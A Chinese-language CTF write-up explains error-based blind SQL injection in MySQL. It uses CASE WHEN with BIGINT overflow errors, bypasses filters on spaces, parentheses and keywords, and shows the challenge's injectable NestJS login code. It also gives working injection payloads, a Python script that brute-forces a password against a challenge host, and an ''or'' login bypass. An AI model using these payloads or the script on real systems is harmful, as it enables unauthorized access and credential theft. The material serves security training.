虎符的一道纯SQL注入题,原来准备自己再做一遍的,结果今天题目环境给关了,都怪周一课太多了 自己太懒。
学到了一些奇特的绕过姿势。
学到的东西
case when 的错误注入
case when用法
官方文档中解释:
- CASE value WHEN [compare-value] THEN result [WHEN [compare-value] THEN result …] [ELSE result] END CASE WHEN [condition] THEN result [WHEN [condition] THEN result …] [ELSE result] END
(必须要有END结尾)
在第一个方案的返回结果中, value=compare-value。而第二个方案的返回结果是第一种情况的真实结果。如果没有匹配的结果值,则返回结果为ELSE后的结果,如果没有ELSE 部分,则返回值为 NULL。
例:
mysql> SELECT CASE 1 WHEN 1 THEN 'one'
-> WHEN 2 THEN 'two' ELSE 'more' END;
-> 'one'
mysql> SELECT CASE WHEN 1>0 THEN 'true' ELSE 'false' END;
-> 'true'
mysql> SELECT CASE BINARY 'B'
-> WHEN 'a' THEN 1 WHEN 'b' THEN 2 END;
-> NULL
一个CASE表达式的默认返回值类型是任何返回值的相容集合类型,但具体情况视其所在语境而定。如果用在字符串语境中,则返回结果味字符串。如果用在数字语境中,则返回结果为十进制值、实值或整数值。
简单来说就是对应CASE后的值匹配WHEN后的值,匹配成功则返回WHEN后THEN中的内容(注意:执行完THEN后即跳出,不会执行后面的THEN)。若都未匹配则返回ELSE的值,若还没有则返回NULL。
在SQL注入中的使用
通常当题目需要盲注但过滤了if()或括号等使得无法使用函数时,case when就派上用场了,对于基于报错的盲注又可以和溢出导致的报错相结合来使用。
假如有这样一个表
mysql> SELECT * FROM tb;
+-------------------+------+
| flag | id |
+-------------------+------+
| flag{test_f1llag} | 1 |
+-------------------+------+
1 row in set (0.00 sec)
mysql> SELECT id FROM tb WHERE id=0 || CASE 1 WHEN flag REGEXP '^f' THEN 1 ELSE 1+~0 END;
+------+
| id |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
不使用if判断第一个flag第一个字符是否为’f’,如果是则返回 1(true),若不是则报出溢出错误
mysql> SELECT id FROM tb WHERE id=0 || CASE 1 WHEN flag REGEXP '^a' THEN 1 ELSE 1+~0 END;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'
(这里 ~
为取反操作符,0 取反即为最大值,再加 1 溢出报错)
这样可以使用基于报错的盲注来爆破flag。(未使用if()等函数)。case when 可以对应题目来进行修改达到目的。
科学计数法和单(反)引号绕过
当过滤了空格时可以使用科学计数法和单引号进行绕过
还是上面的例子,可以构造这样的语句
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
+------+
| id |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^a'THEN+1e0ELSE~0e0+~0e0END;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
可以看到语句没有用到空格但可以执行,下面的(~0e0+~0e0)注意用算符优先级,~
优先级最高,同时注意 1E0+~0
是不会报溢出错误的,因为使用了科学计数法,范围增大了。
mysql> select 1E0+~0;
+-----------------------+
| 1E0+~0 |
+-----------------------+
| 1.8446744073709552e19 |
+-----------------------+
1 row in set (0.00 sec)
regexp,like的区分大小写的使用方法
mysql> SELECT 'abc' LIKE 'ABC';
-> 1
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
-> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
-> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
-> 0
还是利用上述实列
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
这里REGEXP和BINARY之间可以使用+分隔,和+1E0方法类似
utf8mb4_bin可以用单引号包起来
题目
已经说了是纯SQL注入题了
题目给了源码
CREATE TABLE `auth` (
`id` int NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';
export class User {
id: number;
username: string;
}
function safe(str: string): string {
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
return r;
}
//正则这里\s表示所有空白字符比如空格,tab,%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary的字符串
@Injectable()
export class AuthService {
constructor(private connectionProvider: ConnectionProvider) {}
async validateUser(username: string, password: string): Promise<User> | null {
const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
const [rows] = await this.connectionProvider.use((c) => c.query(sql));
const user = rows[0];
if (user && user.password === password) {
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const { password, ...result } = user;
return result;
}
return null;
}
}
过滤了非常多的东西,用到的绕过姿势就是上述方法。
盲注 然后用 case when 的错误注入
用科学计数法绕一半, 用单反引号绕一半
username=1'||case+1E0when`password`regexp'^m52FPlDxYyLB.eIzAr!8gxh.$'then+1E0else~0E0+~0E0end||'0&password=123
写脚本爆破一下密码
import requests
import time
session = requests.session()
burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/",
"Upgrade-Insecure-Requests": "1"}
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'
while True:
for i in alphabet:
burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
if r.status_code == 401:
print(i)
password += i
break
time.sleep(0.3)
print(password)
得到密码
m52FPlDxYyLB.eIzAr!8gxh.
由于sql语句中使用了regexp正则匹配所以得到的密码中的 .
是某个特殊字符,对这两个点爆破一下就行了。(同样这里也可以使用like)
同时username使用万能密码'or'1'or'0
绕过 (注意空格被过滤了, 单引号用于闭合)。
bp爆破拿到flag。